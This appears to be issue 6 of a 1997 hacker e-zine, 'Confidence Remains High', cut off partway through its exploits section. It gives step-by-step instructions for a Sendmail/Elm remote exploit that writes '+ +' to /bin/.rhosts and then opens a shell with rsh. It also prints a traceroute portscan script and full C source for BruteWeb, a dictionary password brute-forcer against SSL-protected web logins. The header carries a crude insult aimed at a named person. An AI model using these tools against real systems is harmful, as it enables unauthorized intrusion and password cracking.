home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / magazines / crh / crh006.txt < prev    next >
Encoding:
Text File  |  1998-06-21  |  90.4 KB  |  2,532 lines
  1. ──────────────────────────────────────────────────────────────────────────────
  2.        .o. cZo .o.          Team CodeZero Presents          .o. cZo .o.
  3. ──────────────────────────────────────────────────────────────────────────────
  4.  
  5.              CYBERJUNKIE IS A FAT LYING GREASY CUNT - Cold-Fire
  6.  
  7. ──────────────────────────────────────────────────────────────────────────────
  8.  
  9.       /IIIIIIIIII          /IIIIIIIIII           /III   /III
  10.       \ III_____/          \ III___/III          \ III  \ III
  11.        \ III                \ III  \ III          \ III  \_III
  12.         \ III  onfidence     \ IIIIIIII  emains    \ IIIIIIIIII  igh
  13.          \ III                \ III__/III           \ III__/ III
  14.           \ III                \ III  \ III          \ III  \ III
  15.            \ IIIIIIIIII   ___   \ III  \ III   ___    \ III  \ III   ___
  16.             \_________/  /\__\   \__/   \__/  /\__\    \__/   \__/  /\__\
  17.                          \/__/                \/__/                 \/__/
  18.  
  19.  
  20. ──────────────────────────────────────────────────────────────────────────────
  21.                                                                       Issue 6
  22.                                                            12th December 1997
  23. ───────────────────────────────────────────────────────────────────────────────
  24.                                   
  25.                              Editor : so1o
  26.  
  27.                Pimped falken's flea : tymat
  28.  
  29.                           The usual : om3n, zer0x, xFli, electro,
  30.                                       Spheroid and helix. 
  31.  
  32.                       Not forgotten : loss, organik, d-storm (aka el8)
  33.                                       peenut, pzn, suid and manly.
  34.  
  35.                   Special thanks to : Shok, dlc, efpee, chameleon, daxx
  36.                                       falken, figster and cain.
  37.  
  38.                             Windows : The carparts crew.
  39.  
  40.                Kick in the teeth to : TRON and stealth (aka. dev_null)
  41.  
  42.  
  43.                    .-----------[ An Official ]-----------.
  44.                    :      .-----.  .----.   .--.--.      :
  45.                    :      :  .--'  : .-. :  :  :  :      :
  46.                    !_-::  :  :     : `-' ;  :  .  :  ::-_!
  47.                    :~-::  :: :     :: . :   ::    :  ::-~:
  48.                    :      ::.`--.  ::.:  :  ::.:  :      :
  49.                    :      `-----'  `--'--'  `--'--'      :
  50.                    !_-::                             ::-_!
  51.                    :~-::-[ Confidence Remains High ]-::-~:
  52.                    :~-::                             ::-~:
  53.                    `-----------[ Production ]------------'
  54.  
  55. ───────────────────────────────────────────────────────────────────────────────
  56.  
  57.        We wrote this is 9 days in total, which is reasonably impressive
  58.        considering the content, we hope you enjoy it, because we won't
  59.        be putting out much until 1998 :) -- so1o
  60.  
  61. ───────────────────────────────────────────────────────────────────────────────
  62.   In This Bumper Sized Christmas Issue : 
  63. ───────────────────────────────────────────────────────────────────────────────
  64.  
  65. ------=>  Section A  :  Introduction And Cover Story.
  66.  
  67.     1. Confidence Remains High issue 6....................: Tetsu Khan
  68.     2. Policy.............................................: so1o
  69.  
  70. ------=>  Section B  :  Exploits And Code.
  71.  
  72.     1. EXCLUSIVE CRH SENDMAIL / ELM 2.4 REMOTE EXPLOIT....: figster
  73.     2. TraceProbe.sh......................................: falken
  74.     3. BruteWeb (SSL) 2.0.................................: BeastMaster V
  75.     4. Check.sh...........................................: xFli
  76.     5. Selena Sol remote flaw (unpublished)...............: Cain
  77.  
  78. ------=>  Section C  :  Phones / Scanning / Radio.
  79.  
  80.     1. ShokDial...........................................: Shok
  81.     2. More MIT dialups...................................: zer0x
  82.     3. Hiding within the system...........................: efpee
  83.     4. An introduction to LightSpan 2000's................: dlc
  84.     5. An introduction to the NEC P3......................: DaXX
  85.     6. More Russian dialups...............................: Lirik
  86.     7. UK x.25 network numbers............................: Cold-Fire
  87.  
  88. ------=>  Section D  :  Miscellaneous.
  89.  
  90.     1. A short introduction to IPv6.......................: so1o  
  91.     2. Newbie sk00l.......................................: so1o
  92.     3. Windows NT filesharing basics......................: chameleon
  93.     4. BitchX / crackrock bug.............................: so1o / Shok
  94.     5. Nifty Lynx trick...................................: Electric Nectar
  95.     6. No-more negative...................................: so1o
  96.  
  97. ------=>  Section E  :  World News.
  98.  
  99.     1. Pentagon hacked....................................: so1o
  100.  
  101. -------=> Section F  :  Projects.
  102.  
  103.     1. TOTALCON '98.......................................: so1o
  104.  
  105. ------=> Section G  :  FIN.
  106.  
  107. ───────────────────────────────────────────────────────────────────────────────
  108. ===============================================================================
  109. ==[ INTRO ]====================[ .SECTION A. ]======================[ INTRO ]==
  110. ===============================================================================
  111. ───────────────────────────────────────────────────────────────────────────────
  112.   1. Confidence Remains High issue 6 : Tetsu Khan
  113. ───────────────────────────────────────────────────────────────────────────────
  114.  
  115. Welcome to a vastly new and improved Confidence Remains High, now geared to
  116. (basically) everyone we could think of, there may be some parts that some of
  117. you may dislike and think below you, as well as being some parts you actually
  118. learn something from, as always, we hope you enjoy this issue, and those
  119. to come in the future..
  120.  
  121. The distro list..
  122. =================
  123.  
  124.    www.technotronic.com                             /ezines/crh/
  125.    cybrids.simplenet.com                            /Toast/files/CRH/
  126.    ftp.linuxwarez.com                               /pub/crh/
  127.    ftp.sekurity.org                                 /users/so1o/
  128.   
  129. ───────────────────────────────────────────────────────────────────────────────
  130.   2. Policy : so1o
  131. ───────────────────────────────────────────────────────────────────────────────
  132.  
  133. In issues 1, 2 and 3, we took our readers through some simple steps of getting
  134. some exploits, using them, and reaping the rewards, some, if not most of those
  135. exploits that we published were taken from recent posts to BugTraq
  136. (at http://www.geek-girl.com/bugtraq) and from websites such as the acclaimed
  137. www.rootshell.com, then CRH was aimed soley at those who had read 1980's BBS
  138. text files until they were blue in the face and couldn't stand another
  139. "UNIX for beginners" file, so we put out this magazine, in an attempt to take
  140. the "newbies" who wanted to learn, and give them an oppurtunity to gain up-to
  141. date knowledge about the scene and the way things work now, because those who
  142. write other magazines really don't gear their articles to those who aren't
  143. fully confident with Unix and the ideas and methodologies that are needed to
  144. understand exactly whats going on.
  145.  
  146. Since then our readership levels have increased, and more and more of the
  147. people who are highly skilled (halflife for one) have made statements about
  148. Confidence Remains High being weak and lame, but thats only an opinion, but
  149. none the less, we have taken it into account, and tried our best to make this,
  150. and issues to come, geared to both newbies and the elite few who care to
  151. critisize us..
  152.  
  153. We don't want to be like Phrack, they get alot of flames themselves, the only
  154. reason we write these files is to learn, keep ourselves out of trouble, teach
  155. others, and most importantly, to have fun (and become famous, heh j/k)..
  156. If you want something a little more simple to understand, then read CRH,
  157. if you want something that is only understandable by those who wrote the
  158. articles and the few who actually know about the subjects covered, then
  159. read Phrack. If you don't understand either Phrack or CRH, then read THTJ
  160. which is a weak version of CRH, with vB programs, articles that were
  161. previously in CRH, and not forgetting, members of sIn as writers,
  162. hahahahoeowehahahahaha!
  163.  
  164. Thank you for listening,
  165.  
  166. so1o
  167.  
  168. ───────────────────────────────────────────────────────────────────────────────
  169. ===============================================================================
  170. ==[ EXPLOITS / CODE ]==========[ .SECTION B. ]============[ EXPLOITS / CODE ]==
  171. ===============================================================================
  172. ───────────────────────────────────────────────────────────────────────────────
  173.   1. EXCLUSIVE CRH SENDMAIL / ELM 2.4 REMOTE EXPLOIT : figster
  174. ───────────────────────────────────────────────────────────────────────────────
  175.  
  176. On a variety of machines running Sendmail, Elm 2.4 will also be used, the hole
  177. regards the sun-message.csh which is called by Elm, this in turn will call
  178. uudecode which will create a file on the filesystem complete with the
  179. file permissions you previously set, then fail gracefully and not inform you
  180. that the file had been created, h0h0h0.
  181.  
  182. If you use the 64-bit mime encoding, you can even save the file, look at it,
  183. and not see the evil hax0r file that was specified.
  184.  
  185. So far linux and anything running the metamail decoder sun-message.csh are
  186. vulnerable..
  187.  
  188. This is basically what you do... It may not work, don't blame us :
  189. ------------------------------------------------------------------
  190.  
  191. 1) create your evil file (a .rhosts in this case)...
  192.  
  193.         % echo "+ +" > /tmp/eatm3
  194.  
  195. 2) next uuencode your "logic bomb"... making the file /tmp/eatme
  196.  
  197.         % uuencode /tmp/eatm3 /bin/.rhosts > /tmp/eatme.uue
  198.  
  199. 3) attach the /tmp/eatme.uue to the email to the target so the Content Type
  200.    is set to "default/text"
  201.  
  202. 4) send your e-mail to the target, eg. bin@target.here.com
  203.  
  204. 5) then attempt to use rsh..
  205.  
  206.         % rsh -l bin target.here.com csh -i
  207.  
  208. If you don't get a shell from using rsh, then the in.rshd may not be running,
  209. or the exploit may have failed (most probable cause)
  210.  
  211. This original technique was given to figster, then he wrote up a file, then I
  212. made the file easier to understand, it's quite rare for this to actually work,
  213. so don't think it will first time :-)
  214.  
  215. ───────────────────────────────────────────────────────────────────────────────
  216.   2. TraceProbe.sh : falken
  217. ───────────────────────────────────────────────────────────────────────────────
  218.  
  219. #!/bin/sh
  220. #
  221. # falken@rune.org presents Traceprobe version 1.4
  222. #
  223. # basically uses strobe to portscan all the hosts from
  224. # a traceroute query, saves me alot of time, thats what it's for..
  225. #
  226. # requires stobe in the same directory as well as
  227. # access to awk and most importantly traceroute.
  228. #
  229.  
  230. /usr/sbin/traceroute $1 > $1.traceroute
  231. /bin/cat $1.traceroute | awk '{print $2}' > $1.traceroute.host
  232. strobe -i $1.traceroute.host -b $2 -e $3 
  233.  
  234. # cleanup here..
  235.  
  236. /bin/rm $1.traceroute $1.traceroute.host
  237.  
  238. ───────────────────────────────────────────────────────────────────────────────
  239.   3. BruteWeb (SSL) 2.0 : BeastMaster V
  240. ───────────────────────────────────────────────────────────────────────────────
  241.  
  242. /*
  243.  *
  244.  *      Brute Web (SSL) 2.0, BeastMaster V.
  245.  *      September 1997, for Confidence Remains High magazine.
  246.  *
  247.  *      You will probably need to download the SSL libraries from
  248.  *      ftp://ftp.psy.uq.oz.au/pub/Crypto/SSL/
  249.  *
  250.  *      To compile (one line) :
  251.  *
  252.  *      cc -o brute_ssl -I/usr/local/ssl/include brute_ssl.c \
  253.  *      -L/usr/local/ssl/lib -lssl -lcrypto
  254.  *
  255.  *      brute_ssl to run, gives usage..
  256.  *
  257.  *      Disclaimer : I am not responsible for anything you do with this
  258.  *                   tool, so please use it in a responsible manner.
  259.  *
  260.  */
  261.  
  262. #include <errno.h>
  263. #include <stdio.h>
  264. #include <stdlib.h>
  265. #include <string.h>
  266. #include <stdarg.h>
  267. #include <sys/types.h>
  268. #include <sys/time.h>
  269. #include <sys/ioctl.h>
  270. #include <sys/socket.h>
  271. #include <netinet/in.h>
  272. #include <netdb.h>
  273. #include <unistd.h>
  274. #include <fcntl.h>
  275. #include <signal.h>
  276.  
  277. #include <rsa.h>
  278. #include <crypto.h>
  279. #include <x509.h>
  280. #include <pem.h>
  281. #include <ssl.h>
  282. #include <err.h>
  283.  
  284. extern int errno, h_errno;
  285.  
  286. #define SPACELEFT(buf,ptr) (sizeof buf-((ptr)-buf))
  287. #define newstr(s) strcpy(malloc(strlen(s)+1),s)
  288. #define HTTPD_UNAUTHORIZED 401
  289. #define FL __FILE__,__LINE__
  290. #define MAXDICTWORD 64
  291. #define MAXNAMEPASSLEN 128
  292. #define MAXENCODEDSTRING 256
  293. #define MAXSENDSTRING 300
  294. #define HAS_DICTIONARY 0x0001
  295. #define HAS_USERNAME   0x0002
  296. #define HAS_PORTNUMBER 0x0004
  297. #define HAS_HOSTNAME   0x0008
  298. #define HAS_VERBOSE    0x0010
  299. #define HAS_SSL_OPT    0x0020
  300. #define HAS_REALM      0x0040
  301. #define HAS_DONE_IT    0x0080
  302. #if SSLEAY_VERSION_NUMBER >= 0x0800
  303. #define SSLEAY8
  304. #endif
  305.  
  306. char alphabet[]="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
  307. char *prg_nme;
  308. int mask;
  309.  
  310. struct BASE64_PARAMS
  311. {
  312.         unsigned long int accum;
  313.         int shift;
  314.         int save_shift;
  315. };
  316.  
  317. /* BeastMaster V's error logging function */
  318. void proc_err(char *func,char *file,int line,const char *fmt, ...)
  319. {
  320.         va_list args;
  321.         
  322.         if (prg_nme!=NULL)
  323.                 fprintf(stderr,"[%s]", prg_nme);
  324.  
  325.         va_start(args, fmt);
  326.  
  327.         fprintf(stderr," %s() ",func);
  328.         fprintf(stderr,"<file:%s line:%d> : ",file,line);
  329.         vfprintf(stderr, fmt, args);
  330.         fputc('\n', stderr); 
  331.         fflush(stderr);
  332.  
  333.         va_end(args);
  334. }
  335.  
  336. /* an implementation of signal() based on sigaction() */
  337. void (*r_signal(int sig,void(*func)())) (int)
  338. {
  339.         struct sigaction act, oact;
  340.         act.sa_handler = func;
  341.         sigemptyset(&act.sa_mask);
  342.         act.sa_flags = 0;
  343. #ifdef SA_RESTART
  344.         act.sa_flags |= SA_RESTART;
  345. #endif
  346.         if (sigaction(sig, &act, &oact) < 0)
  347.                 return (SIG_ERR);
  348.         return (oact.sa_handler);
  349. }
  350.  
  351. /* function to read into a buffer over and SSL connection */
  352. int SSL_readln(SSL *ssl_con, char *buf, int buf_size)
  353. {
  354.         int i=0,done=0,w;
  355.         char tmp[1];
  356.  
  357.         *(buf+0)='\0';
  358.         while (!done)
  359.         {
  360.                 if (i==(buf_size-1))
  361.                         break;
  362.                 w=SSL_read(ssl_con,tmp,1);
  363.                 if (w<0)
  364.                         return -1;
  365.                 if (w==0) return 0;
  366.                 if (tmp[0]!=0)
  367.                         *(buf+i)=tmp[0];
  368.                 if (*(buf+i)=='\n')
  369.                         done=1;
  370.                 i++;
  371.         }
  372.         *(buf+i)='\0';
  373.         return(i);
  374. }
  375.  
  376. /* read from socket into a buffer until sizeof(buffer) or newline */
  377. int socket_readln(int s,char *buf,short len)
  378. {
  379.         int i=0, w;
  380.         char tmp[1];
  381.         short done=0; 
  382.  
  383.         while (!done) {
  384.                 if (i==len)
  385.                         break;
  386.                 w=read(s ,tmp, 1);
  387.                 if (w==0)  return 0;
  388.                 if (tmp[0] != 0) {
  389.                         *(buf+i) = tmp[0];
  390.                 }
  391.                 if (tmp[0]=='\n') {
  392.                         done = 1;
  393.                 }
  394.                 i++;
  395.         }
  396.         *(buf+i)='\0';
  397.         return (i);
  398. }
  399.  
  400. /* base64 encode an arbitrary string */
  401. int base64_encode(int quit,struct BASE64_PARAMS *e_p,char *string_to_encode,char *buf_64)
  402. {
  403.         int index;
  404.         unsigned long int value;
  405.         unsigned char blivit;
  406.         int z=0;
  407.  
  408.         index = 0;
  409.         while((*(string_to_encode+z))||(e_p->shift!=0))
  410.         {
  411.                 if ((*(string_to_encode+z))&&(quit==0))
  412.                 {
  413.                         blivit = *(string_to_encode +z);
  414.                         z++;
  415.                         if (*(string_to_encode+z)==0)
  416.                         {
  417.                                 quit = 1;
  418.                                 e_p->save_shift=e_p->shift;
  419.                                 blivit=0;
  420.                         }
  421.                 }
  422.                 else
  423.                 {
  424.                         quit=1;
  425.                         e_p->save_shift=e_p->shift;
  426.                         blivit=0;
  427.                 }
  428.                 if ((quit==0)||(e_p->shift!= 0))
  429.                 {
  430.                         value=(unsigned long)blivit;
  431.                         e_p->accum <<= 8;
  432.                         e_p->shift += 8;
  433.                         e_p->accum |= value;
  434.                 } 
  435.                 while (e_p->shift >= 6)
  436.                 {
  437.                         e_p->shift -= 6;
  438.                         value = (e_p->accum >> e_p->shift) & 0x3Fl;
  439.                         blivit = alphabet[value];
  440.                         *(buf_64+(index++)) = blivit;
  441.                         if (index >= 60)
  442.                         {
  443.                                 *(buf_64+index)='\0';
  444.                                 index = 0;
  445.                         }
  446.                         if ( quit != 0 )
  447.                                 e_p->shift = 0;
  448.                 }
  449.         }
  450.         if (e_p->save_shift==2)
  451.         {
  452.                 *(buf_64+(index++))='=';
  453.                 if (index>=60)
  454.                 {
  455.                         *(buf_64+index)='\0';
  456.                         index=0;
  457.                 }
  458.                 *(buf_64+(index++))='=';
  459.                 if (index>=60 )
  460.                 {
  461.                         *(buf_64+index)='\0';
  462.                         index=0;
  463.                 }
  464.         }
  465.         else if (e_p->save_shift==4)
  466.         {
  467.                 *(buf_64+(index++))='=';
  468.                 if (index>=60)
  469.                 {
  470.                         *(buf_64+index)='\0';
  471.                         index=0;
  472.                 }
  473.         }
  474.         if (index!=0)
  475.                 *(buf_64+index)='\0';
  476.  
  477.    return quit;
  478. }
  479.  
  480. /* takes string to encode and a user supplied buffer as parameters */
  481. void encode_string (char *name_pass,char *buf_64)
  482. {
  483.         struct BASE64_PARAMS e_p;
  484.         int quit=0;
  485.         register int i;
  486.         char s[MAXNAMEPASSLEN+3];
  487.  
  488.         e_p.shift = 0;
  489.         e_p.accum = 0;
  490.   
  491.         sprintf(s,"%s%c",name_pass,*(name_pass+strlen(name_pass)-1));
  492.         base64_encode(quit, &e_p, s,buf_64);
  493.  
  494.         return;
  495. }
  496.  
  497. /* check the web server's HTTP response headers */
  498. short check_response (char *response)
  499. {
  500.         short ScanCount;
  501.         int httpd_code;
  502.         short version;
  503.  
  504.         ScanCount=sscanf(response,"HTTP/1.%d %d",&version,&httpd_code);
  505.         if (ScanCount!=2)
  506.                 return 0;
  507.  
  508.         if (httpd_code==HTTPD_UNAUTHORIZED)
  509.                 return 0;
  510.         else
  511.                 return 1;
  512. }
  513.  
  514. /* reads a line from a file */
  515. short read_line(FILE *fp, char *buf)
  516. {
  517.         int c;
  518.         short done=0;
  519.         short i=0;
  520.  
  521.         while (!done)
  522.         {
  523.                 c=fgetc(fp);
  524.                 if (c==EOF)
  525.                         return 0;
  526.                 if (c=='\n')
  527.                 {
  528.                         done=1;
  529.                         break;
  530.                 }
  531.                 if (c)
  532.                         *(buf+i)=c;
  533.                 i++;
  534.         }
  535.         
  536.         *(buf+i)='\0';
  537.         return i;
  538. }
  539.  
  540. void terminate (int sig)
  541. {
  542.         proc_err("terminate",FL,"[%s] has caught %d (%s)",
  543.         prg_nme,sig,(sig==SIGINT)?"SIGINT":"SIGSEGV");
  544.         exit(EXIT_FAILURE);
  545. }
  546.  
  547. /* creates a TCP socket and connects it to a peer */
  548. int make_socket(char *in_host,unsigned short port_num)
  549. {
  550.         int sd, err;
  551.         struct hostent *hp=NULL;
  552.         struct sockaddr_in sa;
  553.  
  554.         sd=socket(AF_INET, SOCK_STREAM, 0);
  555.         if (sd==-1)
  556.         {
  557.                 proc_err("make_socket",FL,"Could not create socket->%s",strerror(errno));
  558.                 exit(EXIT_FAILURE);
  559.         }
  560.  
  561.         hp=gethostbyname(in_host);
  562.         if (!hp)
  563.         {
  564.                 if (h_errno==HOST_NOT_FOUND)
  565.                         proc_err("make_socket",FL,"Could not resolv [%s]->Host not Found",in_host);
  566.                 else
  567.                         proc_err("make_socket",FL,"Cound not resolv [%s]->DNS error",in_host);
  568.                 exit(EXIT_FAILURE);
  569.         }
  570.  
  571.         bzero(&sa,sizeof(sa));
  572.         sa.sin_family=hp->h_addrtype;
  573.         bcopy(hp->h_addr,(char *)&sa.sin_addr,hp->h_length);
  574.         sa.sin_port=htons(port_num);
  575.  
  576.         err=connect(sd, (struct sockaddr *)&sa,sizeof(sa));
  577.         if (err==-1)
  578.         {
  579.                 proc_err("make_socket",FL,"connect() call failed->%s",strerror(errno));
  580.                 exit(EXIT_FAILURE);
  581.         }
  582.         return sd;
  583. }
  584.         
  585. /* prints the program usage */
  586. void print_usage()
  587. {
  588.         int x;
  589.         char messages[][255] = 
  590.         {
  591.                 "\n\t'%s [options]'\n\n",
  592.                 "Options:\n",
  593.                 "\t-v   <optional> verbose mode (print responses to stdout)\n",
  594.                 "\t-z   <optional> SSL flag (use this for secure servers)\n",
  595.                 "\t-d   dictionary file (full path to dictionary file)\n",
  596.                 "\t-u   username (a user on the target webserver)\n",
  597.                 "\t-h   hostname (host running the webserver)\n",
  598.                 "\t-p   portnumber (port that the webserver runs on)\n",
  599.                 "\t-r   realm (the full path to the protected realm)\n\n",
  600.                 "Example:\n",
  601.                 "\tSay everytime I type https://www.somewhere.com/protected\n",
  602.                 "\tinto netscape, a box pops up and asks me to enter in a\n",
  603.                 "\tUser ID and password. Well, I have no idea what User ID\n",
  604.                 "\tor password to enter in, so I'll try to 'guess' my way in.\n",
  605.                 "\tI have a dictionary file in /tmp/dict.txt. Next I'll guess\n",
  606.                 "\ta username of \"foo\". Now I can type a command like:\n",
  607.                 "\n",
  608.                 " %s -z -d /tmp/dict.txt -u foo -h www.somewhere.com -p 443 -r /protected\n",
  609.                 "\n",
  610.                 "\tNow with any luck I'll eventually see a username and password.\n",
  611.                 "\ti.e:   ----USERNAME=foo   PASSWORD=foopass----\n\n",
  612.                 "\0"    
  613.         };
  614.         
  615.         fprintf(stderr,"\n-- Brute Web (SSL) v2.0 --\n");
  616.         for(x=0; *messages[x]!='\0';x++)
  617.                 fprintf(stderr, messages[x], prg_nme);
  618. }
  619.  
  620. /* brute_ssl */
  621. int main (unsigned int argc,char **argv, char **envp)
  622. {
  623.         int err=0, sd,in_port=0, try=0;
  624.         char c, *export_buf=NULL;
  625.         SSL *ssl_con=NULL;
  626.         SSL_CTX *ssl_ctx=NULL;
  627.         unsigned long ssl_err;
  628.         FILE *dict_fd=NULL;
  629.         char *dict_name=NULL,*in_host=NULL;
  630.         char *user=NULL,*realm=NULL, *dict_word=NULL;
  631.         char *name_pass_buf=NULL, *encoded_buf=NULL;
  632.         char *p_title=NULL;
  633.  
  634.         if ((prg_nme=strrchr(argv[0],'/')))
  635.                 ++prg_nme;
  636.         else
  637.                 prg_nme=argv[0];
  638.  
  639.         mask=0;
  640.  
  641.         while((c=getopt(argc,argv,"vzd:u:h:p:r:"))!=EOF)
  642.         {
  643.                 switch(c)
  644.                 {
  645.                         case 'v':
  646.                                 mask|=HAS_VERBOSE;
  647.                                 break;
  648.                         case 'z':
  649.                                 mask|=HAS_SSL_OPT;
  650.                                 break;
  651.                         case 'd':
  652.                                 dict_name=optarg;
  653.                                 mask|=HAS_DICTIONARY;
  654.                                 break;
  655.                         case 'u':
  656.                                 user=optarg;
  657.                                 mask|=HAS_USERNAME;
  658.                                 break;
  659.                         case 'h':
  660.                                 in_host=optarg;
  661.                                 mask|=HAS_HOSTNAME;
  662.                                 break;
  663.                         case 'p':
  664.                                 in_port=atoi(optarg);
  665.                                 if (!in_port)
  666.                                         err++;
  667.                                 mask|=HAS_PORTNUMBER;
  668.                                 break;
  669.                         case 'r':
  670.                                 realm=optarg;
  671.                                 mask|=HAS_REALM;
  672.                                 break;
  673.                         case '?':
  674.                                 err++;
  675.                 }
  676.         }
  677.  
  678.         if ((optind<argc)||err)
  679.         {
  680.                 print_usage();
  681.                 exit(EXIT_FAILURE);
  682.         }
  683.  
  684.         if ((!(mask&HAS_HOSTNAME))||(!(mask&HAS_PORTNUMBER))||
  685.             (!(mask&HAS_USERNAME))||(!(mask&HAS_DICTIONARY))||(!(mask&HAS_REALM)))
  686.         {
  687.                 print_usage();
  688.                 exit(EXIT_FAILURE);
  689.         }
  690.  
  691.         r_signal(SIGPIPE,SIG_IGN);
  692.         r_signal(SIGINT,terminate);
  693.         r_signal(SIGSEGV,terminate);
  694.  
  695.         dict_word=(char *)malloc(MAXDICTWORD);
  696.         if (!dict_word)
  697.         {
  698.                 proc_err("main",FL,"Call to malloc() failed->%s",strerror(errno));
  699.                 exit(EXIT_FAILURE);
  700.         }
  701.  
  702.         name_pass_buf=(char *)malloc(MAXNAMEPASSLEN);
  703.         if (!name_pass_buf)
  704.         {
  705.                 proc_err("main",FL,"Call to malloc() failed->%s",strerror(errno));
  706.                 exit(EXIT_FAILURE);
  707.         }
  708.  
  709.         encoded_buf=(char *)malloc(MAXENCODEDSTRING);
  710.         if (!encoded_buf)
  711.         {
  712.                 proc_err("main",FL,"Call to malloc() failed->%s",strerror(errno));
  713.                 exit(EXIT_FAILURE);
  714.         }
  715.  
  716.         export_buf=(char *)malloc(MAXSENDSTRING);
  717.         if (!export_buf)
  718.         {
  719.                 proc_err("main",FL,"Call to malloc() failed->%s",strerror(errno));
  720.                 exit(EXIT_FAILURE);
  721.         }
  722.         
  723.         dict_fd=fopen(dict_name,"r");
  724.         if (dict_fd==NULL)
  725.         {
  726.                 proc_err("main",FL,"Could not open dictionary file->%s",strerror(errno));
  727.                 exit(EXIT_FAILURE);
  728.         }
  729.  
  730.  
  731.         if (mask & HAS_SSL_OPT)
  732.         {
  733.                 SSLeay_add_ssl_algorithms();
  734.                 SSL_load_error_strings();
  735.                 ssl_ctx = SSL_CTX_new(SSLv2_client_method());
  736.                 if (!ssl_ctx)
  737.                 {
  738.                         proc_err("main",FL,"Call to SSL_CTX_new return a NULL");
  739.                         exit(EXIT_FAILURE);
  740.                 }
  741.         }
  742.  
  743.  
  744.         while (read_line(dict_fd,dict_word))
  745.         {
  746.                 sd=make_socket(in_host,in_port);
  747.  
  748.                 if (mask & HAS_SSL_OPT)
  749.                 {
  750.                         ssl_con=SSL_new(ssl_ctx);
  751.                         if (!ssl_con)
  752.                         {
  753.                                 proc_err("main",FL,"SSL_new() returned NULL.");
  754.                                 exit(EXIT_FAILURE);
  755.                         }
  756.                         SSL_set_fd (ssl_con, sd);
  757.                         ssl_err=SSL_connect(ssl_con);
  758.                         if (ssl_err<=0)
  759.                         {
  760.                                 ssl_err=ERR_get_error();
  761.                                 proc_err("main",FL,"SSL_connect() failed->%s\n", ERR_error_string(ssl_err,export_buf));
  762.                                 exit(EXIT_FAILURE);
  763.                         }
  764.                 }
  765.                 
  766.                 sprintf(name_pass_buf,"%s:%s",user,dict_word);
  767.                 encode_string(name_pass_buf,encoded_buf); 
  768.                 sprintf(export_buf,"GET %s HTTP/1.0\nAuthorization: Basic %s\n\n",realm, encoded_buf);
  769.  
  770.                 try++;
  771.  
  772.                 if (mask & HAS_SSL_OPT)
  773.                 {
  774.                         SSL_write(ssl_con,export_buf,strlen(export_buf));
  775.                         SSL_readln(ssl_con,export_buf,MAXSENDSTRING-1);
  776.                         if (mask & HAS_VERBOSE)
  777.                                 fprintf(stdout,"\n==[Pass # %d]============\n%s",try, export_buf);
  778.                 }
  779.                 else
  780.                 {
  781.                         write(sd,export_buf,strlen(export_buf));
  782.                         socket_readln(sd,export_buf,MAXSENDSTRING-1);
  783.                         if (mask & HAS_VERBOSE)
  784.                                 fprintf(stdout,"\n==[Pass # %d]============\n%s",try, export_buf);
  785.                 }
  786.  
  787.                 if (check_response(export_buf))
  788.                 {
  789.                         mask |=HAS_DONE_IT;
  790.                         break;
  791.                 }
  792.  
  793.                 if (mask & HAS_VERBOSE)
  794.                 {
  795.                         if (mask & HAS_SSL_OPT)
  796.                         {
  797.                                 while(SSL_readln(ssl_con,export_buf,MAXSENDSTRING-1))
  798.                                         fprintf(stdout,"%s",export_buf);
  799.                         }
  800.                         else
  801.                         {
  802.                                 while(socket_readln(sd,export_buf,MAXSENDSTRING-1))
  803.                                         fprintf(stdout,"%s",export_buf);
  804.                         }
  805.                 }
  806.  
  807.                 close(sd);
  808.  
  809.                 if (mask & HAS_SSL_OPT)
  810.                         SSL_free(ssl_con);
  811.         }
  812.  
  813.         if (mask & HAS_DONE_IT)
  814.                 fprintf(stdout,"\n\n\t----USERNAME=%s   PASSWORD=%s----\n\n",user,dict_word);
  815.         else
  816.                 fprintf(stdout,"\n\n\t----Sorry, but I could not get in.----\n");
  817.  
  818.         free(dict_word);
  819.         free(name_pass_buf);
  820.         free(export_buf);
  821.         if (mask & HAS_SSL_OPT)
  822.                 SSL_CTX_free(ssl_ctx);
  823. }
  824.  
  825. ───────────────────────────────────────────────────────────────────────────────
  826.   4. Check.sh : xFli
  827. ───────────────────────────────────────────────────────────────────────────────
  828.  
  829. #!/bin/bash
  830. #
  831. #
  832. # - Simple Crontab monitor for keeping tabs on index.html
  833. #
  834. # - At the moment, if the script finds a change in the filesize of the file
  835. #   it will copy the bad file to /var/log/.evil and replace it with the 
  836. #   backup, log its actions to /var/log/check.log and inform [mail] of the error.
  837. #    If the backup itself has the wrong filesize, it will shutdown the
  838. #   inetd superserver and notify  [mail]  of the mismatch. You should edit
  839. #   this to run commands more suitable to your situation. (line 58)
  840. #
  841. #
  842. # - Usage check.sh [original] [backup] [filesize] [mail]
  843. #
  844. #
  845. # -       [original] is the FULL PATH to the file you want to guard e.g. /home/http/index.html
  846. # -       [backup] is the FULL PATH to the backup of the original e.g. /root/backup.html
  847. # -       [filesize] is the size in bytes of the original, e.g. 39790
  848. # -      [mail] is a mail address that the script should send notifications to, e.g. root@localhost
  849. #  
  850. # - If you want to run the check every 5 minutes, add the following line
  851. # - to root's crontab:
  852. #    0,5,10,15,20,25,30,35,40,45,50,55 * * * *       /root/check.sh /home/http/index.html /root/backup.html 37970 root@localhost
  853. #
  854. #   (remembering to change the paths and the filesize)
  855. #
  856. #
  857. #    --=[ Cheap and nasty code from xFli, your number 1 discount store ]=--
  858. #
  859. #    ONCE AGAIN: TAKE THE TIME TO EDIT THIS TO SUIT YOUR NEEDS BETTER
  860. #            You might want to take out the line that returns the
  861. #            status of the file even if it is 'OK' , especially
  862. #            if you are going to run the script a lot like every
  863. #            30 seconds... :]
  864. #
  865. #
  866.  
  867. TIME=`/bin/uname -v`
  868.  
  869. if [ $1x = x ]; then
  870.    echo "Please read the usuage instructions for this script"
  871. else
  872.  
  873.  
  874. if ls -la $1 | grep $3 1>/dev/null 2>/dev/null ; then
  875.         echo "$1 OK  "$TIME>>/var/log/check.log
  876.         echo "">>/vat/log/check.log
  877. else
  878.     echo "">>/var/log/check.log
  879.     echo " - WARNING - file size mismatch on $1 at "$TIME>>/var/log/check.log
  880.     echo "WARNING : FILESIZE MISMATCH on $1"$TIME | mail $4 
  881.     mv $1 /var/log/.evil
  882.         if ls -la $2 | grep $3 1>/dev/null 2>/dev/null ; then
  883.             cp $2 $1 
  884.         else
  885.             echo ""/var/log/check.log
  886.             echo " - WARNING - Filesize mismatch on BACKUP FILE $2 at "$TIME>>/var/log/check.log
  887.             echo " - WARNING - Filesize mismatch on $2 at "$TIME | mail $4
